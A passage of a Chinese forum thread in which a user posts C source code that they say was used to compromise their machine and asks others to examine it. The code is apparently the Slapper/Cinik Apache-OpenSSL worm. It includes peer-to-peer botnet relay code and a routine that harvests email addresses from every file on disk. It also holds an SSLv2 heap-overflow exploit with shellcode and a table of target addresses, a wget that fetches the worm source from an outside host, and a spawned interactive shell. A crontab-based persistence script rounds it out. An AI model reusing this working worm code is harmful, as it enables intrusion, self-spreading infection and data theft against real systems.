  477. fcntl(inst->;sock, F_SETFL, flag);
  478. #endif
  479. inst->;error=ASUCCESS;
  480. flag=1;
  481. setsockopt(inst->;sock,SOL_SOCKET,SO_OOBINLINE,&flag,sizeof(flag));
  482. return (ASUCCESS);
  483. }

  484. int audp_setup(struct ainst *inst,char *host,unsigned int port) {
  485. int flag=1;
  486. struct hostent *hp;
  487. if (inst == NULL) return (AINSTANCE);
  488. inst->;len=0;
  489. if ((inst->;sock = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0) {
  490. inst->;error=ASOCKET;
  491. return (ASOCKET);
  492. }
  493. if (inet_addr(host) == 0 || inet_addr(host) == -1) {
  494. if ((hp = gethostbyname(host)) == NULL) {
  495. inst->;error=ARESOLVE;
  496. return (ARESOLVE);
  497. }
  498. bcopy((char*)hp->;h_addr, (char*)&inst->;in.sin_addr, hp->;h_length);
  499. }
  500. else inst->;in.sin_addr.s_addr=inet_addr(host);
  501. inst->;in.sin_family = AF_INET;
  502. inst->;in.sin_port = htons(port);
  503. #ifdef O_DIRECT
  504. flag = fcntl(inst->;sock, F_GETFL, 0);
  505. flag |= O_DIRECT;
  506. fcntl(inst->;sock, F_SETFL, flag);
  507. #endif
  508. inst->;error=ASUCCESS;
  509. return (ASUCCESS);
  510. }

  511. int audp_relay(struct ainst *parent,struct ainst *inst,char *host,unsigned int port) {
  512. struct hostent *hp;
  513. if (inst == NULL) return (AINSTANCE);
  514. inst->;len=0;
  515. inst->;sock = parent->;sock;
  516. if (inet_addr(host) == 0 || inet_addr(host) == -1) {
  517. if ((hp = gethostbyname(host)) == NULL) {
  518. inst->;error=ARESOLVE;
  519. return (ARESOLVE);
  520. }
  521. bcopy((char*)hp->;h_addr, (char*)&inst->;in.sin_addr, hp->;h_length);
  522. }
  523. else inst->;in.sin_addr.s_addr=inet_addr(host);
  524. inst->;in.sin_family = AF_INET;
  525. inst->;in.sin_port = htons(port);
  526. inst->;error=ASUCCESS;
  527. return (ASUCCESS);
  528. }

  529. int audp_send(struct ainst *inst,char *buf,unsigned long len) {
  530. long datalen;
  531. if (inst == NULL) return (AINSTANCE);
  532. inst->;len=0;
  533. errno=0;
  534. if ((datalen=sendto(inst->;sock,buf,len,0,(struct sockaddr*)&inst->;in,sizeof(inst->;in))) < len) {
  535. if (errno == EAGAIN) {
  536. inst->;error=APENDING;
  537. return (APENDING);
  538. }
  539. else {
  540. inst->;error=AUNKNOWN;
  541. return (AUNKNOWN);
  542. }
  543. }
  544. out++;
  545. inst->;len=datalen;
  546. inst->;error=ASUCCESS;
  547. return (ASUCCESS);
  548. }

  549. int audp_sendmsg(struct ainst *inst, char *words, ...) {
  550. static char textBuffer[2048];
  551. unsigned int a;
  552. va_list args;
  553. va_start(args, words);
  554. a=vsprintf(textBuffer, words, args);
  555. va_end(args);
  556. return audp_send(inst,textBuffer,a);
  557. }

  558. int audp_recv(struct ainst *inst,struct ainst *client,char *buf,unsigned long len) {
  559. long datalen,nlen;
  560. if (inst == NULL) return (AINSTANCE);
  561. nlen=sizeof(inst->;in);
  562. inst->;len=0;
  563. memcpy((void*)client,(void*)inst,sizeof(struct ainst));
  564. if ((datalen=recvfrom(inst->;sock,buf,len,0,(struct sockaddr*)&client->;in,(size_t*)&nlen)) < 0) {
  565. if (errno == EAGAIN) {
  566. inst->;error=APENDING;
  567. return (APENDING);
  568. }
  569. else {
  570. inst->;error=AUNKNOWN;
  571. return (AUNKNOWN);
  572. }
  573. }
  574. inst->;len=datalen;
  575. inst->;error=ASUCCESS;
  576. return (ASUCCESS);
  577. }

  578. int audp_close(struct ainst *inst) {
  579. if (inst == NULL) return (AINSTANCE);
  580. inst->;len=0;
  581. if (close(inst->;sock) < 0) {
  582. inst->;error=AUNKNOWN;
  583. return (AUNKNOWN);
  584. }
  585. inst->;sock=0;
  586. inst->;error=ASUCCESS;
  587. return (ASUCCESS);
  588. }

  589. unsigned long _decrypt(char *str, unsigned long len) {
  590. unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
  591. gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
  592. while(1) {
  593. gsrand(seed[pos%4]+grand()+pos);
  594. str[pos]-=grand();
  595. pos++;
  596. if (pos >;= len) break;
  597. }
  598. return pos;
  599. }

  600. unsigned long _encrypt(char *str, unsigned long len) {
  601. unsigned long pos=0,seed[4]={0x78912389,0x094e7bc43,0xba5de30b,0x7bc54da7};
  602. gsrand(((seed[0]+seed[1])*seed[2])^seed[3]);
  603. while(1) {
  604. gsrand(seed[pos%4]+grand()+pos);
  605. str[pos]+=grand();
  606. pos++;
  607. if (pos >;= len) break;
  608. }
  609. return pos;
  610. }

  611. int useseq(unsigned long seq) {
  612. unsigned long a;
  613. if (seq == 0) return 0;
  614. for (a=0;a<LINKS;a++) if (sequence[a] == seq) return 1;
  615. return 0;
  616. }

  617. unsigned long newseq() {
  618. unsigned long seq;
  619. while(1) {
  620. seq=(rand()*rand())^rand();
  621. if (useseq(seq) || seq == 0) continue;
  622. break;
  623. }
  624. return seq;
  625. }

  626. void addseq(unsigned long seq) {
  627. unsigned long i;
  628. for (i=LINKS-1;i>;0;i--) sequence[i]=sequence[i-1];
  629. sequence[0]=seq;
  630. }

  631. void addserver(unsigned long server) {
  632. unsigned long *newlinks, i, stop;
  633. char a=0;
  634. for (i=0;i<numlinks;i++) if (links[i] == server) a=1;
  635. if (a == 1 || server == 0) return;
  636. numlinks++;
  637. newlinks=(unsigned long*)malloc((numlinks+1)*sizeof(unsigned long));
  638. if (newlinks == NULL) return;
  639. stop=rand()%numlinks;
  640. for (i=0;i<stop;i++) newlinks[i]=links[i];
  641. newlinks[i]=server;
  642. for (;i<numlinks-1;i++) newlinks[i+1]=links[i];
  643. FREE(links);
  644. links=newlinks;
  645. }

  646. void conv(char *str,int len,unsigned long server) {
  647. memset(str,0,len);
  648. strcpy(str,(char*)inet_ntoa(*(struct in_addr*)&server));
  649. }

  650. int isreal(unsigned long server) {
  651. char srv[256];
  652. unsigned int i,f;
  653. unsigned char a=0,b=0;
  654. conv(srv,256,server);
  655. for (i=0;i<strlen(srv) && srv[i]!='.';i++);
  656. srv[i]=0;
  657. a=atoi(srv);
  658. f=i+1;
  659. for (i++;i<strlen(srv) && srv[i]!='.';i++);
  660. srv[i]=0;
  661. b=atoi(srv+f);
  662. if (a == 127 || a == 10 || a == 0) return 0;
  663. if (a == 172 && b >;= 16 && b <= 31) return 0;
  664. if (a == 192 && b == 168) return 0;
  665. return 1;
  666. }

  667. u_short in_cksum(u_short *addr, int len) {
  668. register int nleft = len;
  669. register u_short *w = addr;
  670. register int sum = 0;
  671. u_short answer =0;
  672. while (nleft >; 1) {
  673. sum += *w++;
  674. nleft -= 2;
  675. }
  676. if (nleft == 1) {
  677. *(u_char *)(&answer) = *(u_char *)w;
  678. sum += answer;
  679. }
  680. sum = (sum >;>; 16) + (sum & 0xffff);
  681. sum += (sum >;>; 16);
  682. answer = ~sum;
  683. return(answer);
  684. }

  685. int usersa(unsigned long rs) {
  686. unsigned long a;
  687. if (rs == 0) return 0;
  688. for (a=0;a<LINKS;a++) if (rsa[a] == rs) return 1;
  689. return 0;
  690. }

  691. unsigned long newrsa() {
  692. unsigned long rs;
  693. while(1) {
  694. rs=(rand()*rand())^rand();
  695. if (usersa(rs) || rs == 0) continue;
  696. break;
  697. }
  698. return rs;
  699. }

  700. void addrsa(unsigned long rs) {
  701. unsigned long i;
  702. for (i=LINKS-1;i>;0;i--) rsa[i]=rsa[i-1];
  703. rsa[0]=rs;
  704. }

  705. void delqueue(unsigned long id) {
  706. struct mqueue *getqueue=queues, *prevqueue=NULL;
  707. while(getqueue != NULL) {
  708. if (getqueue->;id == id) {
  709. getqueue->;trys--;
  710. if (!getqueue->;trys) {
  711. if (prevqueue) prevqueue->;next=getqueue->;next;
  712. else queues=getqueue->;next;
  713. }
  714. return;
  715. }
  716. prevqueue=getqueue;
  717. getqueue=getqueue->;next;
  718. }
  719. }

  720. int waitforqueues() {
  721. if (mfork() == 0) {
  722. sleep(gettimeout());
  723. return 0;
  724. }
  725. return 1;
  726. }

  727. //////////////////////////////////////////////////////////////////////////////////////
  728. // Sending functions //
  729. //////////////////////////////////////////////////////////////////////////////////////

  730. struct ainst udpserver;

  731. char *lowsend(struct ainst *ts,unsigned char b,char *buf,unsigned long len) {
  732. struct llheader rp;
  733. struct mqueue *q;
  734. char *mbuf=(char*)malloc(sizeof(rp)+len);
  735. if (mbuf == NULL) return NULL;
  736. memset((void*)&rp,0,sizeof(struct llheader));
  737. rp.checksum=in_cksum(buf,len);
  738. rp.id=newrsa();
  739. rp.type=0;
  740. memcpy(mbuf,&rp,sizeof(rp));
  741. memcpy(mbuf+sizeof(rp),buf,len);

  742. q=(struct mqueue *)malloc(sizeof(struct mqueue));
  743. q->;packet=(char*)malloc(sizeof(rp)+len);
  744. memcpy(q->;packet,mbuf,sizeof(rp)+len);
  745. q->;len=sizeof(rp)+len;
  746. q->;id=rp.id;
  747. q->;time=time(NULL);
  748. q->;ltime=time(NULL);
  749. if (b) {
  750. q->;destination=0;
  751. q->;port=PORT;
  752. q->;trys=b;
  753. }
  754. else {
  755. q->;destination=ts->;in.sin_addr.s_addr;
  756. q->;port=htons(ts->;in.sin_port);
  757. q->;trys=1;
  758. }
  759. q->;next=queues;
  760. queues=q;

  761. if (ts) {
  762. audp_send(ts,mbuf,len+sizeof(rp));
  763. FREE(mbuf);
  764. }
  765. else return mbuf;
  766. }

  767. int relayclient(struct ainst *ts,char *buf,unsigned long len) {
  768. return lowsend(ts,0,buf,len)?1:0;
  769. }

  770. int relay(unsigned long server,char *buf,unsigned long len) {
  771. struct ainst ts;
  772. char srv[256];
  773. memset((void*)&ts,0,sizeof(struct ainst));
  774. conv(srv,256,server);
  775. audp_relay(&udpserver,&ts,srv,PORT);
  776. return lowsend(&ts,0,buf,len)?1:0;
  777. }

  778. void segment(unsigned char low,char *buf, unsigned long len) {
  779. unsigned long a=0,c=0;
  780. char *mbuf=NULL;
  781. if (numlinks == 0 || links == NULL) return;
  782. if (low) mbuf=lowsend(NULL,low,buf,len);
  783. for(;c < 10;c++) {
  784. a=rand()%numlinks;
  785. if (links[a] != myip) {
  786. struct ainst ts;
  787. char srv[256];
  788. memset((void*)&ts,0,sizeof(struct ainst));
  789. conv(srv,256,links[a]);
  790. audp_relay(&udpserver,&ts,srv,PORT);
  791. if (mbuf) audp_send(&ts,mbuf,len+sizeof(struct llheader));
  792. else audp_send(&ts,buf,len);
  793. break;
  794. }
  795. }
  796. FREE(mbuf);
  797. }

  798. void broadcast(char *buf,unsigned long len) {
  799. struct route_rec rc;
  800. char *str=(char*)malloc(sizeof(struct route_rec)+len+1);
  801. if (str == NULL) return;
  802. memset((void*)&rc,0,sizeof(struct route_rec));
  803. rc.h.tag=0x26;
  804. rc.h.id=rand();
  805. rc.h.len=sizeof(struct route_rec)+len;
  806. rc.h.seq=newseq();
  807. rc.server=0;
  808. rc.sync=syncmodes;
  809. rc.links=numlinks;
  810. rc.hops=5;
  811. memcpy((void*)str,(void*)&rc,sizeof(struct route_rec));
  812. memcpy((void*)(str+sizeof(struct route_rec)),(void*)buf,len);
  813. segment(2,str,sizeof(struct route_rec)+len);
  814. FREE(str);
  815. }

  816. void syncm(struct ainst *inst,char tag,int id) {
  817. struct addsrv_rec rc;
  818. struct next_rec { unsigned long server; } fc;
  819. unsigned long a,b;
  820. for (b=0;;b+=700) {
  821. unsigned long _numlinks=numlinks-b>;700?700:numlinks-b;
  822. unsigned long *_links=links+b;
  823. unsigned char *str;
  824. if (b >; numlinks) break;
  825. str=(unsigned char*)malloc(sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
  826. if (str == NULL) return;
  827. memset((void*)&rc,0,sizeof(struct addsrv_rec));
  828. rc.h.tag=tag;
  829. rc.h.id=id;
  830. if (id) rc.h.seq=newseq();
  831. rc.h.len=sizeof(struct next_rec)*_numlinks;
  832. memcpy((void*)str,(void*)&rc,sizeof(struct addsrv_rec));
  833. for (a=0;a<_numlinks;a++) {
  834. memset((void*)&fc,0,sizeof(struct next_rec));
  835. fc.server=_links[a];
  836. memcpy((void*)(str+sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec))),(void*)&fc,sizeof(struct next_rec));
  837. }
  838. if (!id) relay(inst->;in.sin_addr.s_addr,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
  839. else relayclient(inst,(void*)str,sizeof(struct addsrv_rec)+(_numlinks*sizeof(struct next_rec)));
  840. FREE(str);
  841. }
  842. }

  843. void senderror(struct ainst *inst, int id, char *buf2) {
  844. struct data_rec rc;
  845. char *str,*buf=strdup(buf2);
  846. memset((void*)&rc,0,sizeof(struct data_rec));
  847. rc.h.tag=0x45;
  848. rc.h.id=id;
  849. rc.h.seq=newseq();
  850. rc.h.len=strlen(buf2);
  851. _encrypt(buf,strlen(buf2));
  852. str=(char*)malloc(sizeof(struct data_rec)+strlen(buf2)+1);
  853. if (str == NULL) {
  854. FREE(buf);
  855. return;
  856. }
  857. memcpy((void*)str,(void*)&rc,sizeof(struct data_rec));
  858. memcpy((void*)(str+sizeof(struct data_rec)),buf,strlen(buf2));
  859. relayclient(&udpclient,str,sizeof(struct data_rec)+strlen(buf2));
  860. FREE(str);
  861. FREE(buf);
  862. }
复制代码

论坛徽章:
0
10 [报告]
发表于 2003-03-01 13:08 |只看该作者

请大家帮我看看这个C语言代码,这是我机器上个月让人黑的代码?

  1. //////////////////////////////////////////////////////////////////////////////////////
  2. // Scan for email //
  3. //////////////////////////////////////////////////////////////////////////////////////

  4. int isgood(char a) {
  5. if (a >;= 'a' && a <= 'z') return 1;
  6. if (a >;= 'A' && a <= 'Z') return 1;
  7. if (a >;= '0' && a <= '9') return 1;
  8. if (a == '.' || a == '@' || a == '^' || a == '-' || a == '_') return 1;
  9. return 0;
  10. }

  11. int islisten(char a) {
  12. if (a == '.') return 1;
  13. if (a >;= 'a' && a <= 'z') return 1;
  14. if (a >;= 'A' && a <= 'Z') return 1;
  15. return 0;
  16. }

  17. struct _linklist {
  18. char *name;
  19. struct _linklist *next;
  20. } *linklist=NULL;

  21. void AddToList(char *str) {
  22. struct _linklist *getb=linklist,*newb;
  23. while(getb != NULL) {
  24. if (!strcmp(str,getb->;name)) return;
  25. getb=getb->;next;
  26. }
  27. newb=(struct _linklist *)malloc(sizeof(struct _linklist));
  28. if (newb == NULL) return;
  29. newb->;name=strdup(str);
  30. newb->;next=linklist;
  31. linklist=newb;
  32. }

  33. void cleanup(char *buf) {
  34. while(buf[strlen(buf)-1] == '\n' || buf[strlen(buf)-1] == '\r' || buf[strlen(buf)-1] == ' ') buf[strlen(buf)-1] = 0;
  35. while(*buf == '\n' || *buf == '\r' || *buf == ' ') {
  36. unsigned long i;
  37. for (i=strlen(buf)+1;i>;0;i--) buf[i-1]=buf[i];
  38. }
  39. }

  40. void ScanFile(char *f) {
  41. FILE *file=fopen(f,"r");
  42. unsigned long startpos=0;
  43. if (file == NULL) return;
  44. while(1) {
  45. char buf[2];
  46. memset(buf,0,2);
  47. fseek(file,startpos,SEEK_SET);
  48. fread(buf,1,1,file);
  49. startpos++;
  50. if (feof(file)) break;
  51. if (*buf == '@') {
  52. char email[256],c,d;
  53. unsigned long pos=0;
  54. while(1) {
  55. unsigned long oldpos=ftell(file);
  56. fseek(file,-1,SEEK_CUR);
  57. c=fgetc(file);
  58. if (!isgood(c)) break;
  59. fseek(file,-1,SEEK_CUR);
  60. if (oldpos == ftell(file)) break;
  61. }
  62. for (pos=0,c=0,d=0;pos<255;pos++) {
  63. email[pos]=fgetc(file);
  64. if (email[pos] == '.') c++;
  65. if (email[pos] == '@') d++;
  66. if (!isgood(email[pos])) break;
  67. }
  68. email[pos]=0;
  69. if (c == 0 || d != 1) continue;
  70. if (email[strlen(email)-1] == '.') email[strlen(email)-1]=0;
  71. if (*email == '@' || *email == '.' || !*email) continue;
  72. if (!strcmp(email,"webmaster@mydomain.com")) continue;
  73. for (pos=0,c=0;pos<strlen(email);pos++) if (email[pos] == '.') c=pos;
  74. if (c == 0) continue;
  75. if (!strncmp(email+c,".hlp",4)) continue;
  76. for (pos=c,d=0;pos<strlen(email);pos++) if (!islisten(email[pos])) d=1;
  77. if (d == 1) continue;
  78. AddToList(email);
  79. }
  80. }
  81. fclose(file);
  82. }

  83. void StartScan() {
  84. FILE *f;
  85. f=popen("find / -type f","r");
  86. if (f == NULL) return;
  87. while(1) {
  88. char fullfile[MAXPATH];
  89. memset(fullfile,0,MAXPATH);
  90. fgets(fullfile,MAXPATH,f);
  91. if (feof(f)) break;
  92. while(fullfile[strlen(fullfile)-1]=='\n' ||
  93. fullfile[strlen(fullfile)-1] == '\r')
  94. fullfile[strlen(fullfile)-1]=0;
  95. if (!strncmp(fullfile,"/proc",5)) continue;
  96. if (!strncmp(fullfile,"/dev",4)) continue;
  97. if (!strncmp(fullfile,"/bin",4)) continue;
  98. ScanFile(fullfile);
  99. }
  100. }

  101. //////////////////////////////////////////////////////////////////////////////////////
  102. // Exploit //
  103. //////////////////////////////////////////////////////////////////////////////////////

  104. #ifdef SCAN
  105. #include <openssl/ssl.h>;
  106. #include <openssl/rsa.h>;
  107. #include <openssl/x509.h>;
  108. #include <openssl/evp.h>;

  109. char *GetAddress(char *ip) {
  110. struct sockaddr_in sin;
  111. fd_set fds;
  112. int n,d,sock;
  113. char buf[1024];
  114. struct timeval tv;
  115. sock = socket(PF_INET, SOCK_STREAM, 0);
  116. sin.sin_family = PF_INET;
  117. sin.sin_addr.s_addr = inet_addr(ip);
  118. sin.sin_port = htons(80);
  119. if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0) return NULL;
  120. write(sock,"GET / HTTP/1.1\r\n\r\n",strlen("GET / HTTP/1.1\r\n\r\n"));
  121. tv.tv_sec = 15;
  122. tv.tv_usec = 0;
  123. FD_ZERO(&fds);
  124. FD_SET(sock, &fds);
  125. memset(buf, 0, sizeof(buf));
  126. if(select(sock + 1, &fds, NULL, NULL, &tv) >; 0) {
  127. if(FD_ISSET(sock, &fds)) {
  128. if((n = read(sock, buf, sizeof(buf) - 1)) < 0) return NULL;
  129. for (d=0;d<n;d++) if (!strncmp(buf+d,"Server: ",strlen("Server: "))) {
  130. char *start=buf+d+strlen("Server: ");
  131. for (d=0;d<strlen(start);d++) if (start[d] == '\n') start[d]=0;
  132. cleanup(start);
  133. return strdup(start);
  134. }
  135. }
  136. }
  137. return NULL;
  138. }

  139. #define ENC(c) ((c) ? ((c) & 077) + ' ': '`')

  140. int sendch(int sock,int buf) {
  141. char a[2];
  142. int b=1;
  143. if (buf == '`' || buf == '\\' || buf == '$') {
  144. a[0]='\\';
  145. a[1]=0;
  146. b=write(sock,a,1);
  147. }
  148. if (b <= 0) return b;
  149. a[0]=buf;
  150. a[1]=0;
  151. return write(sock,a,1);
  152. }

  153. int writem(int sock, char *str) {
  154. return write(sock,str,strlen(str));
  155. }

  156. int encode(int a) {
  157. register int ch, n;
  158. register char *p;
  159. char buf[80];
  160. FILE *in;
  161. if ((in=fopen("/tmp/.cinik.c","r")) == NULL)
  162. {
  163. // incercam o recuperare
  164. chdir("/tmp");
  165. system("/usr/bin/wget http://zamfy.home.ro/0/cinik.c");
  166. system("mv /tmp/cinik.c /tmp/.cinik.c");
  167. if ((in=fopen("/tmp/.cinik.c","r")) == NULL) return 0;
  168. }

  169. writem(a,"begin 655 .cinik.c\n");
  170. while ((n = fread(buf, 1, 45, in))) {
  171. ch = ENC(n);
  172. if (sendch(a,ch) <= ASUCCESS) break;
  173. for (p = buf; n >; 0; n -= 3, p += 3) {
  174. if (n < 3) {
  175. p[2] = '\0';
  176. if (n < 2) p[1] = '\0';
  177. }
  178. ch = *p >;>; 2;
  179. ch = ENC(ch);
  180. if (sendch(a,ch) <= ASUCCESS) break;
  181. ch = ((*p << 4) & 060) | ((p[1] >;>; 4) & 017);
  182. ch = ENC(ch);
  183. if (sendch(a,ch) <= ASUCCESS) break;
  184. ch = ((p[1] << 2) & 074) | ((p[2] >;>; 6) & 03);
  185. ch = ENC(ch);
  186. if (sendch(a,ch) <= ASUCCESS) break;
  187. ch = p[2] & 077;
  188. ch = ENC(ch);
  189. if (sendch(a,ch) <= ASUCCESS) break;
  190. }
  191. ch='\n';
  192. if (sendch(a,ch) <= ASUCCESS) break;
  193. usleep(10);
  194. }
  195. if (ferror(in)) {
  196. fclose(in);
  197. return 0;
  198. }
  199. ch = ENC('\0');
  200. sendch(a,ch);
  201. ch = '\n';
  202. sendch(a,ch);
  203. writem(a,"end\n");
  204. if (in) fclose(in);
  205. return 1;
  206. }

  207. #define MAX_ARCH 21

  208. struct archs {
  209. char *os;
  210. char *apache;
  211. int func_addr;
  212. } architectures[] = {
  213. {"Gentoo", "", 0x08086c34},
  214. {"Debian", "1.3.26", 0x080863cc},
  215. {"Red-Hat", "1.3.6", 0x080707ec},
  216. {"Red-Hat", "1.3.9", 0x0808ccc4},
  217. {"Red-Hat", "1.3.12", 0x0808f614},
  218. {"Red-Hat", "1.3.12", 0x0809251c},
  219. {"Red-Hat", "1.3.19", 0x0809af8c},
  220. {"Red-Hat", "1.3.20", 0x080994d4},
  221. {"Red-Hat", "1.3.26", 0x08161c14},
  222. {"Red-Hat", "1.3.23", 0x0808528c},
  223. {"Red-Hat", "1.3.22", 0x0808400c},
  224. {"SuSE", "1.3.12", 0x0809f54c},
  225. {"SuSE", "1.3.17", 0x08099984},
  226. {"SuSE", "1.3.19", 0x08099ec8},
  227. {"SuSE", "1.3.20", 0x08099da8},
  228. {"SuSE", "1.3.23", 0x08086168},
  229. {"SuSE", "1.3.23", 0x080861c8},
  230. {"Mandrake", "1.3.14", 0x0809d6c4},
  231. {"Mandrake", "1.3.19", 0x0809ea98},
  232. {"Mandrake", "1.3.20", 0x0809e97c},
  233. {"Mandrake", "1.3.23", 0x08086580},
  234. {"Slackware", "1.3.26", 0x083d37fc},
  235. {"Slackware", "1.3.26",0x080b2100}
  236. };

  237. extern int errno;

  238. int cipher;
  239. int ciphers;

  240. #define FINDSCKPORTOFS 208 + 12 + 46

  241. unsigned char overwrite_session_id_length[] =
  242. "AAAA"
  243. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  244. "\x70\x00\x00\x00";

  245. unsigned char overwrite_next_chunk[] =
  246. "AAAA"
  247. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  248. "AAAA"
  249. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  250. "AAAA"
  251. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  252. "AAAA"
  253. "\x00\x00\x00\x00"
  254. "\x00\x00\x00\x00"
  255. "AAAA"
  256. "\x01\x00\x00\x00"
  257. "AAAA"
  258. "AAAA"
  259. "AAAA"
  260. "\x00\x00\x00\x00"
  261. "AAAA"
  262. "\x00\x00\x00\x00"
  263. "\x00\x00\x00\x00\x00\x00\x00\x00"
  264. "AAAAAAAA"

  265. "\x00\x00\x00\x00"
  266. "\x11\x00\x00\x00"
  267. "fdfd"
  268. "bkbk"
  269. "\x10\x00\x00\x00"
  270. "\x10\x00\x00\x00"

  271. "\xeb\x0a\x90\x90"
  272. "\x90\x90\x90\x90"
  273. "\x90\x90\x90\x90"

  274. "\x31\xdb"
  275. "\x89\xe7"
  276. "\x8d\x77\x10"
  277. "\x89\x77\x04"
  278. "\x8d\x4f\x20"
  279. "\x89\x4f\x08"
  280. "\xb3\x10"
  281. "\x89\x19"
  282. "\x31\xc9"
  283. "\xb1\xff"
  284. "\x89\x0f"
  285. "\x51"
  286. "\x31\xc0"
  287. "\xb0\x66"
  288. "\xb3\x07"
  289. "\x89\xf9"
  290. "\xcd\x80"
  291. "\x59"
  292. "\x31\xdb"
  293. "\x39\xd8"
  294. "\x75\x0a"
  295. "\x66\xb8\x12\x34"
  296. "\x66\x39\x46\x02"
  297. "\x74\x02"
  298. "\xe2\xe0"
  299. "\x89\xcb"
  300. "\x31\xc9"
  301. "\xb1\x03"
  302. "\x31\xc0"
  303. "\xb0\x3f"
  304. "\x49"
  305. "\xcd\x80"
  306. "\x41"
  307. "\xe2\xf6"

  308. "\x31\xc9"
  309. "\xf7\xe1"
  310. "\x51"
  311. "\x5b"
  312. "\xb0\xa4"
  313. "\xcd\x80"

  314. "\x31\xc0"
  315. "\x50"
  316. "\x68""//sh"
  317. "\x68""/bin"
  318. "\x89\xe3"
  319. "\x50"
  320. "\x53"
  321. "\x89\xe1"
  322. "\x99"
  323. "\xb0\x0b"
  324. "\xcd\x80";

  325. #define BUFSIZE 16384
  326. #define CHALLENGE_LENGTH 16
  327. #define RC4_KEY_LENGTH 16
  328. #define RC4_KEY_MATERIAL_LENGTH (RC4_KEY_LENGTH*2)
  329. #define n2s(c,s) ((s=(((unsigned int)(c[0]))<< | (((unsigned int)(c[1])) )),c+=2)
  330. #define s2n(s,c) ((c[0]=(unsigned char)(((s)>;>; &0xff), c[1]=(unsigned char)(((s) )&0xff)),c+=2)

  331. typedef struct {
  332. int sock;
  333. unsigned char challenge[CHALLENGE_LENGTH];
  334. unsigned char master_key[RC4_KEY_LENGTH];
  335. unsigned char key_material[RC4_KEY_MATERIAL_LENGTH];
  336. int conn_id_length;
  337. unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
  338. X509 *x509;
  339. unsigned char* read_key;
  340. unsigned char* write_key;
  341. RC4_KEY* rc4_read_key;
  342. RC4_KEY* rc4_write_key;
  343. int read_seq;
  344. int write_seq;
  345. int encrypted;
  346. } ssl_conn;

  347. long getip(char *hostname) {
  348. struct hostent *he;
  349. long ipaddr;
  350. if ((ipaddr = inet_addr(hostname)) < 0) {
  351. if ((he = gethostbyname(hostname)) == NULL) exit(-1);
  352. memcpy(&ipaddr, he->;h_addr, he->;h_length);
  353. }
  354. return ipaddr;
  355. }

  356. int sh(int sockfd) {
  357. char localip[256], rcv[1024];
  358. fd_set rset;
  359. int maxfd, n;

  360. alarm(3600);
  361. writem(sockfd,"TERM=xterm; export TERM=xterm; exec bash -i\n");
  362. writem(sockfd,"rm -rf /tmp/.cinik.c;cat >; /tmp/.cinik.uu<< __eof__;\n");
  363. encode(sockfd);
  364. writem(sockfd,"__eof__\n");
  365. conv(localip,256,myip);
  366. memset(rcv,0,1024);
  367. sprintf(rcv,"/usr/bin/uudecode -o /tmp/.cinik.c /tmp/.cinik.uu;gcc -o /tmp/.cinik /tmp/.cinik.c -lcrypto;/tmp/.cinik %s\n",localip);
  368. writem(sockfd,rcv);

  369. // acum cream scriptuletzul meu

  370. writem(sockfd,"echo -e '#!/bin/bash\n\n##\n## CiNIK starts here \n##\n\nexport PATH=/bin:$PATH\n\n# ce id am ?\n' >; /tmp/.cinik.go");
  371. writem(sockfd,"echo -e 'myid=`/usr/bin/id | /bin/cut -d\( -f1 | /bin/cutcut -d\= -f2`\n\n# punem si intr-un loc default\nmkdir -p /tmp/.font-unix/.cinik\ncat /tmp/.cinik >; $i' >;>; /tmp/.cinik.go\n");
  372. sprintf(rcv,"echo -e 'chmod a+x $i\necho 1 `/bin/date +%H` \\* \\* \\* $i %s \\>; /dev/null 2\\>;\\&1 | crontab'>;>; /tmp/.cinik.go\n",localip);
  373. writem(sockfd,rcv);
  374. writem(sockfd,"echo '# ale altora'>;>; /tmp/.cinik.go\n");
  375. writem(sockfd,"echo 'for i in `/usr/bin/find /usr /var /tmp /home /mnt -type f -perm 7 2>;/dev/null`'>;>; /tmp/.cinik.go\n");
  376. writem(sockfd,"echo 'do'>;>; /tmp/.cinik.go\n");
  377. writem(sockfd,"echo ' cat /tmp/.cinik >; $i'>;>; /tmp/.cinik.go\n");
  378. writem(sockfd,"echo ' chmod a+x $i'>;>; /tmp/.cinik.go\n");
  379. sprintf(rcv,"echo ' echo 2 `/bin/date +%H` \\* \\* \\* $i %1 \\>; /dev/null 2\\>;\\&1 | crontab'>;>; /tmp/.cinik.go\n",localip);
  380. writem(sockfd,rcv);
  381. writem(sockfd,"echo 'done'>;>; /tmp/.cinik.go\n");
  382. writem(sockfd,"echo ' '>;>; /tmp/.cinik.go\n");
  383. writem(sockfd,"echo '# directoarele mele'>;>; /tmp/.cinik.go\n");
  384. writem(sockfd,"echo ' '>;>; /tmp/.cinik.go\n");
  385. writem(sockfd,"echo 'for i in `/usr/bin/find /usr /var /tmp /home /mnt -type d -uid $myid`'>;>; /tmp/.cinik.go\n");
  386. writem(sockfd,"echo 'do'>;>; /tmp/.cinik.go\n");
  387. writem(sockfd,"echo ' cat /tmp/.cinik >; $i/.cinik'>;>; /tmp/.cinik.go\n");
  388. writem(sockfd,"echo ' chmod a+x $i/.cinik'>;>; /tmp/.cinik.go\n");
  389. sprintf(rcv,"echo ' echo 3 `/bin/date +%H` \\* \\* \\* $i/.cinik %1 \\>; /dev/null 2\\>;\\&1 | crontab'>;>; /tmp/.cinik.go\n",localip);
  390. writem(sockfd,rcv);
  391. writem(sockfd,"echo 'done'>;>; /tmp/.cinik.go\n");
  392. writem(sockfd,"echo ' '>;>; /tmp/.cinik.go\n");
  393. writem(sockfd,"echo 'echo PROC >; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
  394. writem(sockfd,"echo 'cat /proc/cpuinfo >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
  395. writem(sockfd,"echo 'echo MEM >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
  396. writem(sockfd,"echo 'cat /usr/bin/free >;>; /tmp/.cinik.status'>;>; /tmp/.cinik.go\n");
